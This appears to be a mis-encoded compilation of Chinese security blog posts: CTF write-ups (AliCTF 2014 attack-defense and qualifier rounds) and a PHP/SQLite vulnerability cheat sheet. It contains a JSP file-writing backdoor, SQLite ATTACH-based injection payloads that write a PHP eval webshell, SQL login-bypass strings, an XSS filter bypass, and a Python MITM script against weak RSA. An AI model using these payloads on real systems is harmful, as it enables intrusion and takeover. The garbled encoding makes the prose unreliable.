æ¬ä¸¤ç±»é¢ç®,以æ»é²ä¸ºä¸»çGameBox(å¯¹æ»æ¨¡å¼,åæèªå·±GameBoxæä»¶æ¾åºæ¼æ´,æ»å»å
¶ä»å¢éè·åflagæä»¶å¾ååé²å¾¡å
¶ä»å¢éçæ»å»);以解é¢ä¸ºä¸»çNPCé¢ç®(æ ¹æ®é¢ç®è¯´æ,对æå®ç¯å¢è¿è¡æ»å»æµè¯æ¿Flag).</p>
<h4 id="toc_1">0x01 GameBox</h4>
<p>GameBoxåBin1/Bin2ä¸Web1/Web2,åå§å¼æ¾Bin1ä¸Web1é¢ç®,æ¯é¢ç®å¯¹åºä¸ä¸ªæ¥æé¢ç®è¿è¡æéè´¦æ·,åæ¶æä¾ä¸ä¸ªå为CTFçè´¦æ·å
许对ææé¢ç®æä»¶è¿è¡ä¿®æ¹(Patch).</p>
<p>éè¦æ³¨æçæ¯,妿以CTFè´¦æ·è¿è¡æ®éçBin1çæå¡,åä¼å¼åå®å
¨éæ£(å¯ä»¥è¯»åå
¶ä»å¦Bin2çFlag),å³èµè¿ç¨ä¸ä¹ç¡®æéä¼å æ¤æ²å§.</p>
<p>ç«èµåå¼å§,å ä¸ºæ²¡è¿æ¹é¢çä¸»è§æè¯,没æ³è¿æå¡ä¼ææ(导è´Checkä¸éè¿æ£å),è½ä¹å¾æ©åæåºå¤å¤å¯è®©æå¡éåºçæ¼æ´,ä½åªä»¥ä¸ºè¦åFlag,æ¿shell,æªæ³è¿ä¾èµææå
¶ä»é伿å¡å¾å.å½ä¸»åæ¹æåçæ¶å,大é¨åéä¼å·²ç»ä¸¢äºå¾å¤åæ°.è¿æ¯å¦å°çè¿ç±»CTFç»éªä¹ä¸.</p>
<p>åé¢ç±äºåç§Payloadæçæ¯è¾é¢ç¹,ç»å¸¸æå¡ä¼å®æ,ä¸è¿åä¸ªå®æ¤èæ¬å³å¯.Bashéå¶æ¯è¾å¤,ç¨Pythonå®ç°å³å¯.</p>
<p>对äºWebCMS,é¦å
è¦åçå 件鲿¤(æ¹åå°å°å/å¯ç )ç,å¯å WAF,åææ¥å¿ç宿¹check页é¢,ä¿è¯è½éè¿å³å¯.ç¶åååæå
·ä½æ¼æ´æå¨.</p>
<p>两天ç«èµä¸,é¤å´å¼å§æªåè§çæå¡å®æ,åé¢Patchåæ¶,è½ç¶æåExpåªæ¿äºä¸ä¸ªFlag,ä¸è¿é²å®è¿å¥½,丢åè¿ç®è¾å°.</p>
<p>å¦å¤,æçº¿ç½è¿å
¥GameBoxç¯å¢,æ 线ç½è¿å
¥Wifiçæ
åµä¸,å æçº¿ç½æçº¿,éæ·»å è·¯ç±è¡¨,Mac䏿·»å æ¹æ³:</p>
<pre><code>sudo route flush
sudo route delete 0.0.0.0
sudo route add -net 0.0.0.0 172.16.1.254(æ 线ç½å
³)
sudo route add -net 10.1.100.0/24 10.1.7.254(æçº¿GameBoxç½æ®µ)</code></pre>
<h4 id="toc_2">0x02 Java NPC</h4>
<p>Javaèªå·±æ¬ä¸äºè§£å¾å¤,第ä¸å¤©ç ç©¶äºä¸Java NPCç第ä¸éé¢ç®,ç»æ¥ç»å»å±
ç¶é¡ºå©æ¿ä¸First Blood.</p>
<p>Java Npcé¦å
æ¯ä¸ä¸ªä¸ä¼ ç»è¿,ä¸ä¼ æä»¶å¤§å°ä¸å¾è¶
è¿106个åè,ä¸éå¶æäºåç¼ä¸è½ä¸ä¼ .è¿é使ç¨å¤§åJSPå³å¯ä¸ä¼ å¾å°JSPèæ¬æ§è¡,æ¡æ¶ä¸ºJetty.忥kxlzxåè¾æå°é¢ç®æ¬ææ¯è¦ä¸è½½Jettyåæå
¶ä»åç¼èé大å°å转æ¢</p>
<pre><code><servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspf</url-pattern>
<url-pattern>*.jspx</url-pattern>
<url-pattern>*.xsp</url-pattern>
<url-pattern>*.JSP</url-pattern>
<url-pattern>*.JSPF</url-pattern>
<url-pattern>*.JSPX</url-pattern>
<url-pattern>*.XSP</url-pattern>
</servlet-mapping></code></pre>
<p>å¯ä»¥ä¸ä¼ æä»¶å,åç°UPç®å½å¯ä»¥åæä»¶,å
ä¼ äºä¸ä¸ªindex.html.105åèçjspèæ¬çº ç»äºä¸æ®µæ¶é´.åæ¥è¿æ ·è§£å³:</p>
<p>é¦å
ä¼ ä¸ä¸ªèæ¬è·åå½åè·¯å¾</p>
<pre><code>/tmp/webapp</code></pre>
<p>èåä¿®æ¹è¿æ ·ä¸ä¸ªåé¨</p>
<pre><code><%(new java.io.FileOutputStream("/tmp/webapp/up/xx.JSP")).write(request.getParameter("t").getBytes());%></code></pre>
<p>客æ·ç«¯å个HTML</p>
<pre><code><form action="http://xxxx/up/xxxx.JSP" method="post">
<textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br>
<input type=submit value="æäº¤">
</form></code></pre>
<p>ä¸ä¼ å
¶ä»åé¨,æ¥ä¸æ¥å°±æ¯ç¿»æ¥ç¿»å»æ¾å°flag.é¡ºå©æ¿å°ä¸è¡.</p>
<p>Javaåé¨çé¢ç®å®æäºä¸å,èªå·±ä¹ä¸ç¥åè§£,ä¸å¤åè®°å½.</p>
<h4 id="toc_3">0x03 å°ç»</h4>
<p>AliCTFå³èµé¢ç®æ·±åº¦è¾é«,æè°¢ä¸»åæ¹,æ´æè°¢ä¸èµ·ç©èçéå.</p>
<p>æå,å
³äºå¤§åä¸å·¥ä½,ç个纪念:</p>
<pre><code>awk -F '=' '/\[F2\]/{a=1}a==1&&$1~/A1/{print a;}' conf.ini</code></pre>
PHP/Sqliteä¸å¸¸è§æ¼æ´æµ
æ - PHP/Sqlite Vulnerability Cheat Sheet
2014-10-08T16:00:00Z
post/php-sqlite-vulnerability-cheatsheet
Sword Soul
<h3 id="toc_0">0x00 åè¨</h3>
<p>SQLiteä½ä¸ºä¸æ¬¾è½»åæ°æ®åº,PHPå¼å人åä¸å®ä¸ä¼éç,PHP5å,å
¶å·²é»è®¤éæè¿ä¸ªè½»å·§çå
åµå¼æ°æ®åºäº§å.对äºéç¨PHP/SqliteçCMS,ä¹åå¨ä¸äºå¸¸è§çå®å
¨å¨è.ç¬è
以䏿°ä¾å 以åæ,æ¬¢è¿æåºä¸è¶³ä¸é误ä¹å¤.</p>
<h3 id="toc_1">0x01 æ°æ®åºä¸è½½</h3>
<p>ä½ä¸ºä¸ä¸ªåæä»¶çè½»åæ°æ®åº,åå¨ä¸ç±»ä¼¼Accessçé®é¢,峿°æ®åºä¸è½½.卿µè¯çå 个CMSä¸,便åå¨åºå®/é»è®¤æ°æ®åºå/å°åçé®é¢,å¯ä¸è½½é æå®å
¨å¨è.</p>
<p>èæäºCMSå³ä½¿è®¾ç½®ææ°æ®åºéæºæä»¶å,ä½ä»åå¨å®å
¨å¨è,å¦XiaoCMS</p>
<p><img src="/img/sqlite-01.png" alt="img"></p>
<p>çä¼¼é²ä¸è½½ç#%使ç¨URLç¼ç å³å¯ç»è¿,èç±äºçæä»¶åæ¼æ´çåå¨,éæºæä»¶åä¹ä¸åå®å
¨,åªéçè§£0-9a-fç4ä½ç»åå³å¯ä¸è½½æ°æ®:</p>
<p><img src="/img/sqlite-02.png" alt="img"></p>
<p>åé´äºAccessçæ°æ®åºé²æ¤ææ³,é¨åCMSå°æ°æ®åºåç¼ä¿®æ¹ä¸ºphp,å¹¶å建表"create table '<?php' (a); ",以æé²ä¸è½½,ä½ä¹å¼å
¥äºæ°çå®å
¨å¨è.</p>
<h3 id="toc_2">0x02 æ°æ®åºGetShell</h3>
<p>é¦å
æ¯Akcms,å
¶Sqliteçæ¬æ°æ®åºåç¼ä¸ºphp,ä½è¿'<?php'è¡¨ä¹æ²¡ææ·»å ,åªè¦å¾å°(çè§£)å
使°æ®åºæä»¶åå³å¯GetShell.以ä¸ä¸ºæå
¥phpinfo();示ä¾</p>
<p><img src="/img/sqlite-03.png" alt="img"></p>
<p>è稻è人CMSè½å å
¥äº'<?php'表,ä½å¨PHPå¹¶æªæåºé误,ä»å¯ä¸è½½æ°æ®åºå
容.</p>
<p><img src="/img/sqlite-04.png" alt="img"></p>
<p>稻è人å¨åå°ä½¿ç¨strip_tags()彿°è¿æ»¤äºè¾å
¥åé,é¿å
äºç´æ¥GetShell.ä½éè¿æ°æ®åºä¸è½½ç ´è§£ç®¡çå¯ç ,åå°äº¦å¯ä»»æç¼è¾æä»¶,é æç¸åºçå®å
¨å¨è.</p>
<h3 id="toc_3">0x03 注å
¥è¯æ³</h3>
<p>为æ¹ä¾¿æµè¯,åæå¦ä¸PHPèæ¬</p>
<p><img src="/img/sqlite-05.png" alt="img"></p>
<p>è¿æ¥æ°æ®åºæä»¶sqlite.dbå
容å¦ä¸:</p>
<p><img src="/img/sqlite-06.png" alt="img"></p>
<p>å¯ä»¥çå°idè¾å
¥æªç»ä»»ä½è¿æ»¤,å¯è¢«æä»¬å©ç¨,ä¸ä¸ªDemoå¦ä¸:</p>
<p><img src="/img/sqlite-07.png" alt="img"></p>
<p>æ£å¸¸idè¾å
¥1-3åå¯è¿å对åºçname,èéè¿æ³¨å
¥è¯å¥:</p>
<p>4 union select user,pass,id from user where id=1;</p>
<p>å¯éè¿unionæ¥è¯¢å°id为1çpasså¼.</p>
<p>ä¸MySQL5.x类似ç,Sqliteåå¨ä¸information_schema类似çä¸ä¸ªè¡¨,é»è®¤å¹¶ä¸æ¾ç¤º,å为sqlite_master,表ä¸çåæ®µætype,name,tbl_name,rootpage,sql,æ¯è¾æä»·å¼çæ¯sqlåæ®µ.</p>
<p>é¦å
æµè¯æåæ¾å¤ä¸º2</p>
<p><img src="/img/sqlite-08.png" alt="img"></p>
<p>æ¥è¯¢sqlåæ®µå
容</p>
<p><img src="/img/sqlite-09.png" alt="img"></p>
<p>å¦ä¸å¯ä»¥å¾å°è¡¨ç»æ</p>
<p>æ¤å¤,常è§çä¸äºè¯æ³ä¹ä¸Mysql类似å¦:</p>
<pre><code>注é符: --
è¿æ¥ç¬¦: ||
Substring: substr(a,b,c)
é¿åº¦: length(x)</code></pre>
<h3 id="toc_4">0x04 注å
¥GetShell</h3>
<p>Sqliteä¸éè¿Attachè¯å¥å¯ä»¥éå æ°æ®åº(è¥ä¸åå¨åå建æä»¶),éè¿æ¤è¯å¥å¯åå©Sqlite注å
¥GetShell,ä½ä¸é¢çæ°æ®åºæ¥è¯¢è¯å¥:</p>
<pre><code>$db->query($sql);</code></pre>
<p>æ¯æ æ³Attachå建æä»¶ç</p>
<p>以ä¸GetShellç¯å¢,æµè¯å建Sqlite3æ°æ®åº</p>
<p><img src="/img/sqlite-10.png" alt="img"></p>
<p>ä¿®æ¹è¯å¥å¦ä¸:</p>
<pre><code><?php
if (isset($_GET['id'])){
$id=$_GET['id'];
}
else
{
echo "id!";
exit;
}
$db = new PDO('sqlite:sqlite3.db');
$sql="select * from user where id=$id";
echo "<h4>Sql: ".$sql."</h4>";
var_dump(@$db->exec($sql));</code></pre>
<p>æ¤æ¶å³å¯å婿³¨å
¥è¯å¥æå
¥WebShell</p>
<p>æµè¯è¯å¥1:</p>
<pre><code>4;ATTACH DATABASE 'C:\\wamp\\www\\le4f.php' AS pwn;CREATE TABLE pwn.exp(dataz text);INSERT INTO pwn.exp(dataz) VALUES('<?php phpinfo();?>');--</code></pre>
<p><img src="/img/sqlite-11.png" alt="img"></p>
<p>å¾å°phpinfo</p>
<p><img src="/img/sqlite-12.png" alt="img"></p>
<p>åå
¥ä¸ä¸ªWebShell:</p>
<pre><code>4;ATTACH DATABASE 'C:\\wamp\\www\\shell.php' AS pwn;CREATE TABLE pwn.exp(dataz text);INSERT INTO pwn.exp(dataz) VALUES('<? eval($_GET['cmd']); ?>');--</code></pre>
<p><img src="/img/sqlite-13.png" alt="img"></p>
<p><img src="/img/sqlite-14.png" alt="img"></p>
<p>PHPè°ç¨Sqliteè¿æå¤ç§æ¹å¼,çæ³executeåexecæ¹å¼åæå¯è½GetShell.对äºSqlite2æ°æ®åº,å¦ä¸ä»£ç :</p>
<pre><code>$db = new PDO('sqlite2:sqlite.db');
$db->exec($sql);</code></pre>
<p>å¯ä»¥æ³¨å
¥è¯å¥Attachå建空æä»¶,使ªè½æå
¥æ°æ®.åä½çå®å¦æç ç©¶è¿ææç¹ä¸äº.</p>
<h3 id="toc_5">0x05 å°ç»</h3>
<p>ä¸Accessæ°æ®åºç±»ä¼¼,Sqlite轻巧æ¹ä¾¿çåæ¶,ä¹åå¨å¾å¤å¯å©ç¨çå¨è,对å¼åè
æ¥è®²ä¹æ¯è¦æ³¨æçé®é¢.以ä¸ä»
为ç¬è
æè§çå°å±±ä¸è§,æ´å¤é®é¢ç±çå®å»ç ç©¶åç°.</p>
<p>é¦å<a href="http://www.91ri.org/10983.html">ç½ç»æ»é²å®éªå®¤</a>,æªææå¿è½¬è½½.</p>
ISC2014äºèç½å®å
¨å¤§ä¼è§é» - ISC2014 Participant
2014-09-30T16:00:00Z
essay/isc2014-participant
Sword Soul
<p>å
æç¥ç¥å½çæ¥å¿«ä¹</p>
<p>ä¸å¨AliCTFæå®ä¸ä¹
,æ£å¥½è¢«éå»ISCæ»é²æ(表)æ(æ¼)èµ,就带ä¸å°ä¼ä¼´ä»¬ä¸èµ·å»ISCå´è§.</p>
<p>ISC,å
¨ç§°åºè¯¥æ¯"äºå¤ªä¿¡æ¯å®å
¨é¢åææå¨ç年度峰ä¼ââ2014ä¸å½äºèç½å®å
¨å¤§ä¼(ISC 2014)",ä¼è®®è§æ¨¡å¤§,ç°åºå¸ç½®ä¹è®è±ªå,å¯è§æ°åå¨å
¶ä¸æå
¥ä¸å°ç²¾å.</p>
<p>éäºä¸¤å¤©,å
容就ä¸å¤åè®°å½.大ä¼åºæ¬æ¯å´è§ä¸,æ¾æ¾æåèè天,ååé¥,å¯ä¸å®æ´å¬çåºè¯¥æ¯ç¾é¦ä»»å½åå®å
¨é¨é¨é¿Tom RidgeçSpeak,没æç¿»è¯è¿æ¯å¿ä¸ä½ç¯å°.</p>
<p>24æ¥ä¸å表æ¼èµè¿è®æè¶£,èµ°è¿æ¿äºç¹å次åçå¥é.ä¹åå°±æ¯å´è§å±å°æ´»å¨,认è¯äºJç¥,åå´è§å
¶ç ´è§£å®è´§æº..éæç¶é¥®æå¯å¥½?ä¹å两天æ¶é´åæå½å®¶ä¼è®®ä¸å¿æå°éç«ä¸åºéºéäºé,éè¿å¯ä»¥åé¥çå°æ¹å¤ææ¥,æ³æ³ä¹æ¯éäº.æ»ä¹å å¤©è®æå¿«,ä¹ç䏿ºæ·±çåå¿,å¦å¯¹äº,å¸é½æè½¦æç¹è®©äººå¿ç¢;-)</p>
<p>è·¯è¿æå¾è¿,åå¦ç¬è¡,èå¨äºèº«.</p>
[CTF]AliCTF-Quals-2014-L-WriteUp
2014-09-24T16:00:00Z
writeup/-ctf-alictf-quals-2014-l-writeup
Sword Soul
<p>::L Team:: <a href="http://l-team.org/">http://l-team.org</a></p>
<hr>
<h4 id="toc_0">0x00 Trend</h4>
<p><img src="/img/alictf-trend.png" alt="img"></p>
<h4 id="toc_1">0x01 BigData</h4>
<h5 id="toc_2">BigData-100</h5>
<blockquote>
<p>ä¸ååå·¥éè¿å
ç½webæå¡å
¥ä¾µäºæå°æå¡å¨ï¼æ¤å
¥äºwebshellã<br /> ç°å¨éæ ¹æ®è¯¥å°æå¡å¨çwebè®¿é®æ¥å¿ç¡®è®¤webshelläºä»¶idè¡æ°å¹¶ååã<br /> ä¾å¦æ¥å¿ä¸æé®é¢çäºä»¶idè¡æ°åå«ä¸º 1ã3ã19ï¼é£ä¹flagå³ä¸º 23 ã<br /> é¢ç®ä¸è½½å°åï¼ç¹å»ä¸è½½</p>
</blockquote>
<p>åæå¤æä¸åçUAåURL,ç»è®¡è¯·æ±æ¬¡æ°æ¾å°ä¸ä¸ªå¥æªçaccess4.jsp,æäº¤ä¸å¯¹,æ£å¸¸æ¯aspx,ågrepäºä¸æ¯å¦æphp,åç°æphpè®°å½,åé¤bot,åç°plusçshell:config1.php</p>
<p><img src="/img/alictf-big-100-01.png" alt="img"></p>
<p>è¦è®¡ç®å,åäºä¸ªç®åçèæ¬</p>
<pre><code>a=0
while read var
do
a=`expr $a + $var`
done
echo $a</code></pre>
<p><img src="/img/alictf-big-100-02.png" alt="img"></p>
<hr>
<h5 id="toc_3">BigData-200</h5>
<blockquote>
<p>AliceåBobéè¿ä¸å°ä»£çæå¡å¨ä½¿ç¨æç§åè®®è¿è¡éä¿¡ï¼èé»å®¢Malloryæ»å»äºè¿å°æå¡å¨ï¼Malloryå¯ä»¥æªåå°ææAliceåBobåéçæ¶æ¯ã<br /> Malloryæªåæä¸æ¹åéçæ¶æ¯åï¼ä»å¯ææ¶æ¯ç´æ¥è½¬åç»å¦ä¸æ¹ï¼ä¹å¯ä»¥ä¼ªé 䏿¡æ¶æ¯åç»å¦ä¸æ¹ã<br />å¬è¯´æè¿Aliceä¼åBobæ±ä¸ç¬é±ï¼å¯æ¯Aliceå¹¶ä¸ç¥éBobçé¶è¡è´¦å·ï¼æä»¥Aliceå³å®éè¿ä»£çæå¡å¨è¯¢é®BobãMallory产çäºéªæ¶çæ³æ³ï¼ä»å¸æAliceæé±é½æ±å°ä»çé¶è¡è´¦å·[email protected]ä¸ã<br />wiki龿¥Malloryæ£è¦åé±å»åå AliCTFï¼ä½ è½å¸®å¸®ä»ä¹ï¼<br /> connect data200.alictf.com 30000<br /> hint: wiki龿¥ </p>
</blockquote>
<p>è¿æ¥æå¡å¨,è§å¯å°åæ¹éä¿¡å
容ï¼åæ2æ1è¿è¡ç´æ¥è½¬å):</p>
<pre><code>Alice said: Hey,Bob!
Bob said: Yes
Alice said: Let's encrypt with rsa,my public key is (11316499 , 65537)
Bob said: OK,my public key is (9204067 , 65537)</code></pre>
<p>æ¥çå°±æ¯è¢«å å¯çä¿¡æ¯,ç»§ç»è½¬å两次ågameoveréåº.<br />ä»è§å¯å°çéä¿¡å
容å¯ä»¥å¾ç¥:</p>
<blockquote>
<p>1ãåæ¹ä½¿ç¨äºRSAæ¥å å¯éä¿¡å
容</p>
<p>2ãåæ¹ä½¿ç¨çRSAå
¬é¥çNå¾å°ï¼å¯ä»¥è¢«åè§£ï¼ä»èå¾å°ç§é¥</p>
</blockquote>
<p>ç ´è§£åºåæ¹çRSAç§é¥å¯ä»¥å¾å°åç»éä¿¡å
容:</p>
<pre><code>Alice said: What's your account?
Bob said: My account is [email protected]</code></pre>
<p>æ ¹æ®é¢ç®ææ,æ¿æ¢äºBobçé®ç®±ä¸º[email protected](è¿éåæ§½ä¸å¤§å°åææ)ç¶åç¨Aliceå
¬é¥å å¯åååå».</p>
<p>åæ¬ä»¥ä¸ºå¯ä»¥æ¿key走人äº,ç»æåæ¶å°ä¸æ®µæ¥èªAliceçæ°ä¿¡æ¯,æ¿åæç ´è§£åºçBobç§é¥è§£å¯åå¾å°:</p>
<pre><code>Alice said: Let's encrypt with rsa,my public key is (8965793 , 65537)</code></pre>
<p>çèµ·æ¥åçäºæ°ä¸è½®çå
¬é¥äº¤æ¢,äºæ¯æ2转å,ç»æç´æ¥gameover.</p>
<p>å°è¯ååç°è¿éåªææ4ä¿®æ¹å转åæè¡,æç¬¬ä¸è½®æ¶å°çå
¬é¥äº¤æ¢ä¿¡æ¯ååå»å§,ä¿¡æ¯æä½è¿ç¨å¦ä¸:</p>
<pre><code>Alice said: Let's encrypt with rsa,my public key is ( 8965793 , 65537 ) (drop by mallory)
Mallory said: Let's encrypt with rsa,my public key is ( 12137569 , 65537 )
Bob said: OK,my public key is ( 11316499 , 65537 ) (drop by mallory)
Mallory said: OK,my public key is ( 11316499 , 65537 )</code></pre>
<p>æ¥çæ¿æ°äº¤æ¢çå
¬é¥è§£åºæ°ç§é¥,åè§£åºæ¥ä¸æ¥çææ:</p>
<pre><code>Alice said: What's your account?
Bob said: My account is [email protected]</code></pre>
<p>äºæ¯ç¨èæ¹æ³æ¿æ¢é®ç®±,æ¬ä»¥ä¸ºè¿ä¸å¯ä»¥æ¿keyäº,ç»æååºæ¥ä¸ä¸ªæ°çå
¬é¥äº¤æ¢è¿ç¨...</p>
<p>æ»ç»ä¸å¾å°çä¿¡æ¯,å¯ä»¥æ¨æµåºåè®®æµç¨å¤§æ¦æ¯è¿æ ·ç:</p>
<p><img src="/img/alictf-big-200-01.png" alt="img"></p>
<p>...</p>
<p>å¯ä»¥æ¨æµåè®®ç»æååºè¯¥ä¼äº§çå
å«flagä¿¡æ¯çå
容.</p>
<p>æ¯è½®å
¬é¥äº¤æ¢å¤§è´å¦ä¸,è¿æ¯ç¬¬äºè½®å°ç¬¬ä¸è½®çå¯é¥äº¤æ¢</p>
<p><img src="/img/alictf-big-200-02.png" alt="img"></p>
<p>å æ¤å¯ä»¥è®¾è®¡åºè½å¤æ»ç ´è¯¥åè®®çMITMæ»å».</p>
<p>æ»å»è¿ç¨é项为</p>
<p><img src="/img/alictf-big-200-03.png" alt="img"></p>
<p>æ ¹æ®æ»å»è¿ç¨ååºæ»å»èæ¬,鿥è¯éªå
¬é¥äº¤æ¢è½®æ°Nç大å°,æåå¯ä»¥ç¥éN=50,flagå¨å
¶åä»¥æææ¶æ¯çæ¹å¼ç»åº</p>
<p>èæ¬å¦ä¸:</p>
<pre><code>import socket
import math
from string import *
def exeuclid(a,b):
if b == 0:
return 1 , 0 , a;
else:
x,y,q = exeuclid(b,a%b);
x,y = y,(x-a/b*y);
return x,y,q;
def getpq(x):
for i in xrange(2, int(math.sqrt(x))+1):
if x % i == 0:
return i, x/i
def getprikey(e,n):
p, q=getpq(n)
d,x,y=exeuclid(e,(p-1)*(q-1))
if d<0:
d=(p-1)*(q-1)+d
return d, n
def decrypt(c,d,n):
m=pow(c,d,n)
return m
def encrypt(m,e,n):
c=pow(m,e,n)
return c
def reciveanddecrypt(key=()):
s = sock.recv(1024)
s = split(s,'\n')[2]
s = s[5:len(s)-3]
cl = s.split(',')
s1=''
for x in cl:
if key == ():
s1 = s1 + chr(int(x))
else:
s1 = s1 + chr(decrypt(int(x),key[0],key[1]))
return s1
def encryptandsend(msg,n):
s1='Start'
for x in msg:
s1 = s1+str(encrypt(ord(x),65537,n))+','
s1=s1[:len(s1)-1]+'End'
sock.send(s1)
print 'Mallory said:', msg
return 0
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('data200.alictf.com', 30000))
#--init--
s = sock.recv(1024)
s = split(s,'\n')[8]
s = s[5:len(s)-3]
cl = s.split(',')
s1=''
for x in cl:
s1 = s1 + chr(int(x))
print 'Alice said:', s1
sock.send('2')
s = sock.recv(1024)
s = split(s,'\n')[2]
s = s[5:len(s)-3]
cl = s.split(',')
s1=''
for x in cl:
s1 = s1 + chr(int(x))
print 'Bob said:', s1
sock.send('1')
#first rsa key exchange
print 'No. ', 1,' RSA public key exchange'
s1 = reciveanddecrypt()
print 'Alice said:', s1
s1_bak = s1[:] #preserve Alice's first rsa key message for later use
s1 = s1[41:len(s1)-2]
n1=int(split(s1,',')[0])
prikey1=getprikey(65537,n1) #calculate Alice's private key
sock.send('2') #send it to Bob
s2 = reciveanddecrypt()
print 'Bob said:', s2
s2_bak = s2[:] #preserve Bob's first rsa key message for later use
s2 = s2[21:len(s2)-2]
n2=int(split(s2,',')[0])
prikey2=getprikey(65537,n2) #preserve Bob's first rsa key message for later use
sock.send('1') #send it to Alice
s1 = reciveanddecrypt(prikey2)
print 'Alice said:', s1
sock.send('2')
s1 = reciveanddecrypt(prikey1)
print 'Bob said:', s1,' (drop by mallory)'
msg='My account is [email protected]' #[email protected]
sock.send('3')
encryptandsend(msg,n1)
nn1 = n1
nn2 = n2
for i in xrange(49):
#second and another rsa key exchange
print 'No. ', i+2,' RSA public exchange'
s1 = reciveanddecrypt(prikey2)
print 'Alice said:', s1,' (drop by mallory)'
sock.send('4') #send Alice's old public key to Bob
encryptandsend(s1_bak,nn2) #use Bob's old public key to encrypt
s2 = reciveanddecrypt(prikey1)
print 'Bob said:', s2,' (drop by mallory)'
sock.send('3') #send Bob's old public key to Alice
encryptandsend(s2_bak,nn1) #use Alice's old public key to encrypt
s1 = s1[41:len(s1)-2]
nn1=int(split(s1,',')[0])
nprikey1=getprikey(65537,nn1) #calculate Alice's new private key
s2 = s2[21:len(s2)-2]
nn2=int(split(s2,',')[0])
nprikey2=getprikey(65537,nn2) #calculate Bob's new private key
s1 = reciveanddecrypt(prikey2) #use Alice's old private key to decrypt
print 'Alice said:', s1,' (drop by mallory)'
sock.send('4')
encryptandsend(s1,nn2) #use Bob's new public key to encrypt
s1 = reciveanddecrypt(prikey1) #use Bob's old private key to decrypt
print 'Bob said:', s1,' (drop by mallory)'
msg='My account is [email protected]' #[email protected]
sock.send('3')
encryptandsend(msg,nn1) #use Alice's new public key to encrypt
print sock.recv(1024)
sock.close()</code></pre>
<p>ps:äºå®ä¸,è¿åå¨çå
¶ä»æ»å»æ¹å¼,å¦å
çæä¸ä¸ªå
¬-ç§é¥å¯¹,å¨ç¬¬ä¸è½®å
¬é¥äº¤æ¢çæ¶åå³ä»¥èªå·±çå
¬é¥å»æ¿æ¢äºè
çå
¬é¥,å°±å¯ä»¥çå»ç ´è§£ç§é¥ä»¥è§å¯äºè
éä¿¡æµéè¿ç¨.å¯æçæ¯,ç±äºé¢ç®ç¨åºçéå¶,è¥å¨ç¬¬ä¸è½®å
¬é¥äº¤æ¢çæ¶å使ç¨3å4æ¥æ¿æ¢æµé,åä¼ç´æ¥gameover.</p>
<hr>
<h4 id="toc_4">0x02 WEB-A</h4>
<h5 id="toc_5">WebA-100</h5>
<blockquote>
<p>ä»ç»å½å¼å§å§<br />hintï¼ææ³¨å¸å¨åªéï¼<br />http://web100a.alictf.com/fbdd6257b154b33dc977839c3cde7d79.php </p>
</blockquote>
<p>Youtubeæç¤º,æå¼çå°ç»è¿ä¾é </p>
<pre><code>' '-0||' ' AND pass=xxx</code></pre>
<p>群éå说ä¸è¶
è¿10ä½çæ®éä¸è½å¯ç ,è¯äºä¸è¿æ ·bypassäº</p>
<pre><code>' || 1=1 ||'</code></pre>
<p><img src="/img/alictf-weba-100-01.png" alt="img"></p>
<hr>
<h5 id="toc_6">WebA-200</h5>
<blockquote>
<p>Casperåäºä¸ä¸ªxsså
èäºä»¶çé²å¾¡èæ¬ï¼ä½ è½ç»è¿ä»åéç»ç®¡çåè·å管çåçcookieåï¼ <br /> http://web200a.alictf.com/9ad626cab2d2d7309626e1a1ec9c1c41.php </p>
</blockquote>
<pre><code>function hookEvent(onevent) {
document.addEventListener(onevent.substr(2), function(e) {
var element = e.target;
var flags = element['_flag'];
if (!flags) {
flags = element['_flag'] = {};
}
if (typeof flags[onevent] != 'undefined') {
return;
}
flags[onevent] = true;
if (element.nodeType != Node.ELEMENT_NODE) {
return;
}
var code = element.getAttribute(onevent);
if (code && chkxss(code)) {
console.log("xss");
element[onevent] = null;
}
}, true);
}
function chkxss(code){
try{
decodecode = decodeURIComponent(code);
}catch(e){
decodecode = code;
}
var xsses = ["fromCharCode","join","concat","slice","substr","match","split","escape","encodeURI","replace","\\","eval","setTimeout","setInterval","getScript","constructor","erHTML","Attribute","unction","execScript","with","setImmediate","createElement","write","name","referer","cookie","location","click"];
for(i=0;i<xsses.length;i++){
if(decodecode.indexOf(xsses[i])>-1){
return true;
}
}
if(/(&&)|;|,|\[/.test(decodecode)&&decodecode.indexOf("+")>-1){
return true;
}
if((decodecode.indexOf("URL")>-1||decodecode.indexOf("hash"))>-1&&location.href.indexOf("#")>-1){
return true;
}
if(code.length>150){
return true;
}
if(decodecode.indexOf('open')>-1||/\Wsrc\W/.test(decodecode)){
return true;
}
return false;
}
for (var k in document) {
if (/^on/.test(k)) {
hookEvent(k);
}
}</code></pre>
<p>ä¸ä¸ªåç«¯è¿æ»¤å¨,æç´¢å¯ä»¥çå°ç±»ä¼¼çDemo.åºäºé»ååè¿æ»¤,å¯ä»¥ç»è¿.代ç ä¸å¹¶æ²¡ææ¦æªdecodeURIComponent,å¯ä»¥ç¼ç ç»è¿.<br />ä¹åæä¸ªtryè¯å¥ï¼</p>
<pre><code>try{
decodecode = decodeURIComponent(code);
}catch(e){
decodecode = code;
}</code></pre>
<p>ä¼ å
¥code被解ç 䏿¬¡.对å
¶äºæ¬¡ç¼ç å³å¯ç»è¿,ä¹å¯codeä¸å å
¥%xxçä¸å¯è§£ç å符,使decodeURIComponentåºé,catchå¤çä¸è¿è¡urldecode.</p>
<p>对evalä¹ä½¿ç¨decodeURIComponent,å¨å
¨å±ç彿°é»è®¤æ¯windowæå,å¯ç¨</p>
<pre><code>window[decodeURIComponent('%65val')]()</code></pre>
<p>ç»è¿è¿æ»¤</p>
<p><img src="/img/alictf-weba-200-01.png" alt="img"></p>
<p>å°å
¶å次URLç¼ç è®¿é®æ¶å°Cookie.</p>
<pre><code>web200aflag=ALICTF{b6daff2073c78dabe09f22ac33f53823}</code></pre>
<p>è¿éæä¸ªå°ææ²,æäº¤åxssæ¶ä¿¡å¾å°flagæäº¤é误,è¿æ¶èªå·±æ¬å°æµè¯åç°èªå·±å®¢æ·ç«¯è«åå
¶å¦å¤åºä¸ä¸ªweb200aflag,å¾ç¥é¢ç®æ¤æ¶ä¿®æ¹è¿,ä¹å忬¡æ¶ä¿¡å¾å°æ°flag.</p>
<hr>
<h5 id="toc_7">WebA-300</h5>
<blockquote>
<p>å°±æ¯è®©ä½ çä¸è§ <br />http://web300a.alictf.com/48f70e5ec569b7dec86bf9e35212c7f2.php </p>
</blockquote>
